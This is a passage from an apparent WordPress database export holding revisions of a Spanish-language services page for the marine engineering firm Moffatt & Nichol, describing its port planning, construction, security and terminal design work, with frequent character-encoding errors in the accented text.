Oriente y Asia.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/port-planing.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">planeamiento portuario</h1>\r\nMoffatt & Nichol entiende la naturaleza dinÃ¡mica del negocio de terminales de contenedores y por lo tanto la necesidad de flexibilidad y capacidad de ampliaciÃ³n operativas y del acceso optimizado a la terminal que se adapta a la tecnologÃa mÃ¡s reciente durante su vida econÃ³mica. Moffatt & Nichol es reconocido internacionalmente como lÃder e innovador en el planeamiento y diseño de puertos y terminales marÃtimas y su compleja infraestructura de apoyo.\r\n\r\nMoffatt & Nichol es la Ãºnica firma en Norteamérica que ofrece un equipo interno completamente integrado que puede manejar cada aspecto del desarrollo de un puerto de contenedores, desde el pronÃ³stico de carga hasta el diseño de una nueva terminal y su construcciÃ³n y puesta en funcionamiento. Moffatt & Nichol ha manejado el planeamiento, diseño y construcciÃ³n de mÃ¡s de 100 terminales de contenedores, incluyendo terminales automatizadas a nivel mundial, y algunos de los mayores proyectos de infraestructura de transporte de Norteamérica. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/managment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">gestiÃ³n de la construcciÃ³n</h1>\r\nMoffatt & Nichol proporciona servicios de supervisiÃ³n e inspecciÃ³n de la construcciÃ³n; la firma tiene un grupo central de veteranos profesionales de la construcciÃ³n con la experiencia para actuar como una extensiÃ³n del personal de nuestros clientes para apoyar toda la diversidad de situaciones con que se pueden encontrar durante la ejecuciÃ³n de los proyectos. Creemos que la gestiÃ³n de la construcciÃ³n no comienza con el aviso al contratista para proceder, sino con el planeamiento inicial del programa, el desarrollo del diseño del proyecto, y la estrategia completa para la factibilidad de la construcciÃ³n. Nuestros inspectores han proporcionado una pauta permanente con respecto de las operaciones y el mantenimiento, una respuesta rÃ¡pida a los problemas de ingenierÃa durante la construcciÃ³n y una supervisiÃ³n de la gestiÃ³n y del control de la calidad de la construcciÃ³n, y garantizan que la construcciÃ³n se realice estrictamente de acuerdo con los planos de diseño y las especificaciones técnicas. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/marine-structure.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">estructuras marÃtimas</h1>\r\nComo una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. La firma tiene una reputaciÃ³n internacional por proporcionar soluciones innovadoras a la industria portuaria y marÃtima. Desde la llegada de la contenedorizaciÃ³n hasta las complejas tendencias del movimiento de mercancÃas y las regulaciones medioambientales de hoy en dÃa, la firma ofrece capacidades integradas internas para apoyar prÃ¡cticamente cualquier tarea portuaria, marÃtima o de transporte de carga en todo el mundo. Desde sus oficinas y centros especializados en Norteamérica, Europa y América latina, Moffatt & Nichol puede hacerse cargo de un proyecto desde el anÃ¡lisis conceptual y estudio de factibilidad hasta el planeamiento, el diseño y la construcciÃ³n marÃtima. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/port-security.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">seguridad portuaria</h1>\r\n Moffatt & Nichol es un lÃder mundial en el tratamiento de los aspectos relacionados con las operaciones y la seguridad de la industria marÃtima. De acuerdo con iniciativas de Seguridad Nacional de los EE.UU., la firma estÃ¡ mejorando activamente la conciencia del dominio portuario y marÃtimo al proporcionar sistemas de seguridad avanzados. La clave para proporcionar soluciones correctas es equilibrar la seguridad personal y la protecciÃ³n de infraestructura crÃtica con la continuidad del puerto y las operaciones portuarias comerciales. En consecuencia, Moffatt & Nichol desarrolla e implementa enfoques novedosos que unifican los objetivos de seguridad con el flujo eficiente del comercio. Nuestras soluciones integrales relacionadas con la seguridad son adaptadas para las partes interesadas regionales, autoridades portuarias, operadores de terminales y personal de respuesta relacionado con la seguridad en todo el mundo. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/port-automation.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"6\">automatizaciÃ³n portuaria</h1>\r\nCon décadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marÃtimas en todo el mundo, Moffatt & Nichol es reconocido como un lÃder e innovador en el planeamiento y diseño de puertos, terminales marÃtimas y la compleja infraestructura de apoyo al movimiento de carga terrestre y de contenedores hoy en dÃa.\r\n \r\nEl desarrollo de una terminal de contenedores automatizada partiendo desde cero es una posibilidad desafiante. Requiere una comprensiÃ³n de aspectos crÃticos tales como espacio y logÃstica disponibles, configuraciones del terreno, selecciÃ³n del equipo, interfaz de los sistemas de operaciÃ³n, polÃticas y regulaciones gubernamentales, prÃ¡cticas laborales, restricciones medioambientales y limitaciones de capacidad. El equipo de profesionales de Moffatt & Nichol incluye a importantes expertos de la industria que tienen una experiencia inigualable en el desarrollo de terminales de contenedores. Ellos aplican su experiencia y conocimientos para desarrollar terminales de contenedores modernas, flexibles y avanzadas que resistirÃ¡n el paso del tiempo.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/fery-terminals.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"7\">terminales de transbordadores</h1>\r\nComo una de las mayores firmas internacionales de ingenierÃa y consultorÃa marÃtimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en el planeamiento y diseño de instalaciones relacionadas con transbordadores en todo el mundo. En sociedad con nuestros clientes, Moffatt & Nichol proporciona una variedad de servicios que comprenden desde estudios de factibilidad y anÃ¡lisis econÃ³micos hasta el planeamiento, diseño, gestiÃ³n del programa y apoyo en la construcciÃ³n. La firma ha sido responsable de proyectos tan diversos como grandes transbordadores de pasajeros y carga hasta operaciones mÃ¡s pequeñas de taxis acuÃ¡ticos urbanos, ofreciendo su experiencia profesional para optimizar la funcionalidad de la operaciÃ³n de los terminales y su rentabilidad. Ofrecemos una perspectiva global en apoyo de nuestros clientes de la industria de transbordadores, atendiendo a los miembros de la comunidad marÃtima, el sector gubernamental, el sector de logÃstica intermodal y la comunidad inversora por igual.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/bulk-terminals.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"8\">terminales de graneles</h1>\r\nMoffatt & Nichol ofrece a sus clientes un conjunto completo de servicios de planeamiento y diseño para terminales e instalaciones de manipulaciÃ³n de materiales a granel. Nuestras especializaciones incluyen el desarrollo de anÃ¡lisis financieros, estudios de factibilidad, planes maestros, documentos de diseño en detalle y la gestiÃ³n y apoyo de la construcciÃ³n para una variedad de instalaciones como atracaderos, espigones y Ã¡reas de carga y descarga hasta sistemas de almacenamiento y transferencia, asÃ como redes de transporte interior. Nuestra cartera de proyectos incluye terminales e instalaciones que manejan carbÃ³n, menas, concentrados minerales, fertilizantes, granos y otros productos agrÃcolas, agregados de construcciÃ³n, maderas, graneles lÃquidos y otros materiales a granel. Al combinar nuestra experiencia marÃtima con el conocimiento especÃfico de la tecnologÃa y el equipo de manipulaciÃ³n de graneles, Moffatt & Nichol puede dar apoyo a nuestros clientes con la infraestructura y las operaciones mÃ¡s eficientes, al mismo tiempo que maximizamos su funcionamiento. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/gate-planing.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"9\">planeamiento y diseño de compuertas</h1>\r\nLa gran experiencia de Moffatt & Nichol en seguridad de terminales marÃtimas y diseño de compuertas permite que nuestro equipo entienda completamente los problemas asociados con los proyectos de compuertas de seguridad. Aunque haya muchas firmas que pueden proporcionar servicios de diseño de compuertas, solo hay unas cuantas que pueden jactarse de la combinaciÃ³n de experiencia en diseño de compuertas, familiaridad con protocolos de seguridad actuales y conocimiento de los estÃ¡ndares y especificaciones privados y gubernamentales de construcciÃ³n. Moffatt & Nichol goza de reputaciÃ³n mundial por la amplitud y profundidad de su experiencia con proyectos de compuertas y de seguridad.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/fedring.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"10\">anÃ¡lisis de defensas</h1>\r\nMoffatt & Nichol ha completado muchas evaluaciones y diseños de sistemas de defensa para muelles, dÃ¡rsenas, muros de retenciÃ³n, defensas de puentes, etc. para diferentes clientes que incluyen la Guardia costera de EE.UU., la Marina de EE.UU., autoridades portuarias y compañÃas navieras privadas. Nuestra especializaciÃ³n en sistemas de amarre y sistemas de defensa hizo que Moffatt & Nichol sea elegido para escribir los manuales de diseño de la Marina de EE.UU. para los amarres fijos (NAVFAC DM 26.4) y los amarres de flota (NAVFAC DM 26.5). Moffatt & Nichol realiza rutinariamente anÃ¡lisis de amarres y atraques estÃ¡ticos y dinÃ¡micos para toda clase de amarres y tamaños de buques como parte de nuestra prÃ¡ctica portuaria.\r\n      \r\nMoffatt & Nichol reconoce que el sistema de defensa es la interfaz entre la nave y las instalaciones en la costa. El sistema de defensa estÃ¡ diseñado para actuar como un amortiguador durante el atraque de una nave absorbiendo o disipando la energÃa del impacto de la nave sin causar daños permanentes a la nave ni a las instalaciones en la costa. Después de atracar y amarrar la nave a las instalaciones de la costa, el sistema de defensa continÃºa proporcionando la interfaz entre la nave y la costa y transmite las cargas medioambientales (viento, olas y corrientes) en la nave a la estructura. La identificaciÃ³n de la magnitud y direcciÃ³n de las fuerzas que se utilizarÃ¡n en el diseño del sistema de defensa es crÃtica para el funcionamiento correcto del sistema.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/vesel.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"11\">estudios de maniobras y trÃ¡fico de buques</h1>\r\nMoffatt & Nichol tiene una avanzada capacidad para proporcionar simulaciones numéricas de los movimientos de buques, de las operaciones portuarias y de sistemas similares usando un sofisticado modelo numérico llamado Lenguaje de SimulaciÃ³n para ModelaciÃ³n Alternativa (SLAM, por sus siglas en inglés). Este modelo también incluye un mÃ³dulo de grÃ¡ficos que proporciona una visualizaciÃ³n animada en pantalla de los resultados. Pueden hacerse anÃ¡lisis del trÃ¡fico de buques en puertos, vÃas navegables y puertos deportivos para examinar las capacidades de flujo o para determinar el impacto de los cambios en las operaciones o la utilizaciÃ³n de un puerto. Moffatt & Nichol ha desarrollado un modelo avanzado de trÃ¡fico de buques que se ha aplicado con éxito en varios proyectos de diferentes campos, desde el trÃ¡fico de naves comerciales en puerto hasta operaciones de trÃ¡fico de botes en puertos deportivos.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  \r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','Servicios portuarios','','inherit','open','open','','357-revision-3','','','2012-06-13 09:28:41','2012-06-13 09:28:41','',357,'http://moffattnichol.com/spanish/357-revision-3/',0,'revision','',0),(2459,1,'2012-06-15 04:48:43','2012-06-15 04:48:43','<div class=\"content_faq\">\r\n <h3>servicios portuarios</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/global.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">servicios consultivos comerciales globales</h1>\r\nLos servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras habilidades sin igual en las áreas de análisis de carga de contenedores y planeamiento económico. Atendemos a una diversidad de clientes que incluye autoridades portuarias, organismos gubernamentales, operadores de terminales, consultores de transporte y a inversionistas privados y públicos.\r\n\r\nNuestro grupo abarca una combinación de especialistas en economía, logística, finanzas, gestión y operaciones, con experiencia profesional en una organización novedosa y en el financiamiento de sistemas avanzados de entrega de carga. El equipo tiene un enfoque comercial y ofrece el desarrollo completo de proyectos de infraestructura de carga de contenedores y transporte, desde el concepto inicial y planeamiento estratégico hasta la creación de un proyecto factible que pueda ser diseñado, construido y puesto en funcionamiento.\r\n\r\nÚnica en el mercado, la experiencia profesional de Moffatt & Nichol en el análisis y pronóstico de los mercados de carga de contenedores, logística de transporte y estrategias de inversión, es complementada por las prácticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribución logística. Moffatt & Nichol ha proporcionado la debida diligencia comercial para muchas transacciones de infraestructura marítima importantes en la década pasada, con similar diligencia comercial ofrecida para otros activos del sector, incluyendo operaciones de terminales ferroviarias intermodales. La cartera geográfica del grupo de servicios comerciales consultivos incluye proyectos terminados en Norteamérica, Sudamérica y América Central, el Caribe, Europa, África, el Medio Oriente y Asia.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/port-planing.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">planeamiento portuario</h1>\r\nMoffatt & Nichol entiende la naturaleza dinÃ¡mica del negocio de terminales de contenedores y por lo tanto la necesidad de flexibilidad y capacidad de ampliaciÃ³n operativas y del acceso optimizado a la terminal que se adapta a la tecnologÃa mÃ¡s reciente durante su vida econÃ³mica. Moffatt & Nichol es reconocido internacionalmente como lÃder e innovador en el planeamiento y diseño de puertos y terminales marÃtimas y su compleja infraestructura de apoyo.\r\n\r\nMoffatt & Nichol es la Ãºnica firma en Norteamérica que ofrece un equipo interno completamente integrado que puede manejar cada aspecto del desarrollo de un puerto de contenedores, desde el pronÃ³stico de carga hasta el diseño de una nueva terminal y su construcciÃ³n y puesta en funcionamiento. Moffatt & Nichol ha manejado el planeamiento, diseño y construcciÃ³n de mÃ¡s de 100 terminales de contenedores, incluyendo terminales automatizadas a nivel mundial, y algunos de los mayores proyectos de infraestructura de transporte de Norteamérica. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/managment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">gestiÃ³n de la construcciÃ³n</h1>\r\nMoffatt & Nichol proporciona servicios de supervisiÃ³n e inspecciÃ³n de la construcciÃ³n; la firma tiene un grupo central de veteranos profesionales de la construcciÃ³n con la experiencia para actuar como una extensiÃ³n del personal de nuestros clientes para apoyar toda la diversidad de situaciones con que se pueden encontrar durante la ejecuciÃ³n de los proyectos. Creemos que la gestiÃ³n de la construcciÃ³n no comienza con el aviso al contratista para proceder, sino con el planeamiento inicial del programa, el desarrollo del diseño del proyecto, y la estrategia completa para la factibilidad de la construcciÃ³n. Nuestros inspectores han proporcionado una pauta permanente con respecto de las operaciones y el mantenimiento, una respuesta rÃ¡pida a los problemas de ingenierÃa durante la construcciÃ³n y una supervisiÃ³n de la gestiÃ³n y del control de la calidad de la construcciÃ³n, y garantizan que la construcciÃ³n se realice estrictamente de acuerdo con los planos de diseño y las especificaciones técnicas. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/marine-structure.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">estructuras marÃtimas</h1>\r\nComo una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. La firma tiene una reputaciÃ³n internacional por proporcionar soluciones innovadoras a la industria portuaria y marÃtima. Desde la llegada de la contenedorizaciÃ³n hasta las complejas tendencias del movimiento de mercancÃas y las regulaciones medioambientales de hoy en dÃa, la firma ofrece capacidades integradas internas para apoyar prÃ¡cticamente cualquier tarea portuaria, marÃtima o de transporte de carga en todo el mundo. Desde sus oficinas y centros especializados en Norteamérica, Europa y América latina, Moffatt & Nichol puede hacerse cargo de un proyecto desde el anÃ¡lisis conceptual y estudio de factibilidad hasta el planeamiento, el diseño y la construcciÃ³n marÃtima. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/port-security.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">seguridad portuaria</h1>\r\n Moffatt & Nichol es un lÃder mundial en el tratamiento de los aspectos relacionados con las operaciones y la seguridad de la industria marÃtima. De acuerdo con iniciativas de Seguridad Nacional de los EE.UU., la firma estÃ¡ mejorando activamente la conciencia del dominio portuario y marÃtimo al proporcionar sistemas de seguridad avanzados. La clave para proporcionar soluciones correctas es equilibrar la seguridad personal y la protecciÃ³n de infraestructura crÃtica con la continuidad del puerto y las operaciones portuarias comerciales. En consecuencia, Moffatt & Nichol desarrolla e implementa enfoques novedosos que unifican los objetivos de seguridad con el flujo eficiente del comercio. Nuestras soluciones integrales relacionadas con la seguridad son adaptadas para las partes interesadas regionales, autoridades portuarias, operadores de terminales y personal de respuesta relacionado con la seguridad en todo el mundo. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/port-automation.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"6\">automatizaciÃ³n portuaria</h1>\r\nCon décadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marÃtimas en todo el mundo, Moffatt & Nichol es reconocido como un lÃder e innovador en el planeamiento y diseño de puertos, terminales marÃtimas y la compleja infraestructura de apoyo al movimiento de carga terrestre y de contenedores hoy en dÃa.\r\n \r\nEl desarrollo de una terminal de contenedores automatizada partiendo desde cero es una posibilidad desafiante. Requiere una comprensiÃ³n de aspectos crÃticos tales como espacio y logÃstica disponibles, configuraciones del terreno, selecciÃ³n del equipo, interfaz de los sistemas de operaciÃ³n, polÃticas y regulaciones gubernamentales, prÃ¡cticas laborales, restricciones medioambientales y limitaciones de capacidad. El equipo de profesionales de Moffatt & Nichol incluye a importantes expertos de la industria que tienen una experiencia inigualable en el desarrollo de terminales de contenedores. Ellos aplican su experiencia y conocimientos para desarrollar terminales de contenedores modernas, flexibles y avanzadas que resistirÃ¡n el paso del tiempo.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/fery-terminals.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"7\">terminales de transbordadores</h1>\r\nComo una de las mayores firmas internacionales de ingenierÃa y consultorÃa marÃtimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en el planeamiento y diseño de instalaciones relacionadas con transbordadores en todo el mundo. En sociedad con nuestros clientes, Moffatt & Nichol proporciona una variedad de servicios que comprenden desde estudios de factibilidad y anÃ¡lisis econÃ³micos hasta el planeamiento, diseño, gestiÃ³n del programa y apoyo en la construcciÃ³n. La firma ha sido responsable de proyectos tan diversos como grandes transbordadores de pasajeros y carga hasta operaciones mÃ¡s pequeñas de taxis acuÃ¡ticos urbanos, ofreciendo su experiencia profesional para optimizar la funcionalidad de la operaciÃ³n de los terminales y su rentabilidad. Ofrecemos una perspectiva global en apoyo de nuestros clientes de la industria de transbordadores, atendiendo a los miembros de la comunidad marÃtima, el sector gubernamental, el sector de logÃstica intermodal y la comunidad inversora por igual.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/bulk-terminals.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"8\">terminales de graneles</h1>\r\nMoffatt & Nichol ofrece a sus clientes un conjunto completo de servicios de planeamiento y diseño para terminales e instalaciones de manipulaciÃ³n de materiales a granel. Nuestras especializaciones incluyen el desarrollo de anÃ¡lisis financieros, estudios de factibilidad, planes maestros, documentos de diseño en detalle y la gestiÃ³n y apoyo de la construcciÃ³n para una variedad de instalaciones como atracaderos, espigones y Ã¡reas de carga y descarga hasta sistemas de almacenamiento y transferencia, asÃ como redes de transporte interior. Nuestra cartera de proyectos incluye terminales e instalaciones que manejan carbÃ³n, menas, concentrados minerales, fertilizantes, granos y otros productos agrÃcolas, agregados de construcciÃ³n, maderas, graneles lÃquidos y otros materiales a granel. Al combinar nuestra experiencia marÃtima con el conocimiento especÃfico de la tecnologÃa y el equipo de manipulaciÃ³n de graneles, Moffatt & Nichol puede dar apoyo a nuestros clientes con la infraestructura y las operaciones mÃ¡s eficientes, al mismo tiempo que maximizamos su funcionamiento. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/gate-planing.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"9\">planeamiento y diseño de compuertas</h1>\r\nLa gran experiencia de Moffatt & Nichol en seguridad de terminales marÃtimas y diseño de compuertas permite que nuestro equipo entienda completamente los problemas asociados con los proyectos de compuertas de seguridad. Aunque haya muchas firmas que pueden proporcionar servicios de diseño de compuertas, solo hay unas cuantas que pueden jactarse de la combinaciÃ³n de experiencia en diseño de compuertas, familiaridad con protocolos de seguridad actuales y conocimiento de los estÃ¡ndares y especificaciones privados y gubernamentales de construcciÃ³n. Moffatt & Nichol goza de reputaciÃ³n mundial por la amplitud y profundidad de su experiencia con proyectos de compuertas y de seguridad.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/fedring.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"10\">anÃ¡lisis de defensas</h1>\r\nMoffatt & Nichol ha completado muchas evaluaciones y diseños de sistemas de defensa para muelles, dÃ¡rsenas, muros de retenciÃ³n, defensas de puentes, etc. para diferentes clientes que incluyen la Guardia costera de EE.UU., la Marina de EE.UU., autoridades portuarias y compañÃas navieras privadas. Nuestra especializaciÃ³n en sistemas de amarre y sistemas de defensa hizo que Moffatt & Nichol sea elegido para escribir los manuales de diseño de la Marina de EE.UU. para los amarres fijos (NAVFAC DM 26.4) y los amarres de flota (NAVFAC DM 26.5). Moffatt & Nichol realiza rutinariamente anÃ¡lisis de amarres y atraques estÃ¡ticos y dinÃ¡micos para toda clase de amarres y tamaños de buques como parte de nuestra prÃ¡ctica portuaria.\r\n      \r\nMoffatt & Nichol reconoce que el sistema de defensa es la interfaz entre la nave y las instalaciones en la costa. El sistema de defensa estÃ¡ diseñado para actuar como un amortiguador durante el atraque de una nave absorbiendo o disipando la energÃa del impacto de la nave sin causar daños permanentes a la nave ni a las instalaciones en la costa. Después de atracar y amarrar la nave a las instalaciones de la costa, el sistema de defensa continÃºa proporcionando la interfaz entre la nave y la costa y transmite las cargas medioambientales (viento, olas y corrientes) en la nave a la estructura. La identificaciÃ³n de la magnitud y direcciÃ³n de las fuerzas que se utilizarÃ¡n en el diseño del sistema de defensa es crÃtica para el funcionamiento correcto del sistema.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/vesel.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"11\">estudios de maniobras y trÃ¡fico de buques</h1>\r\nMoffatt & Nichol tiene una avanzada capacidad para proporcionar simulaciones numéricas de los movimientos de buques, de las operaciones portuarias y de sistemas similares usando un sofisticado modelo numérico llamado Lenguaje de SimulaciÃ³n para ModelaciÃ³n Alternativa (SLAM, por sus siglas en inglés). Este modelo también incluye un mÃ³dulo de grÃ¡ficos que proporciona una visualizaciÃ³n animada en pantalla de los resultados. Pueden hacerse anÃ¡lisis del trÃ¡fico de buques en puertos, vÃas navegables y puertos deportivos para examinar las capacidades de flujo o para determinar el impacto de los cambios en las operaciones o la utilizaciÃ³n de un puerto. Moffatt & Nichol ha desarrollado un modelo avanzado de trÃ¡fico de buques que se ha aplicado con éxito en varios proyectos de diferentes campos, desde el trÃ¡fico de naves comerciales en puerto hasta 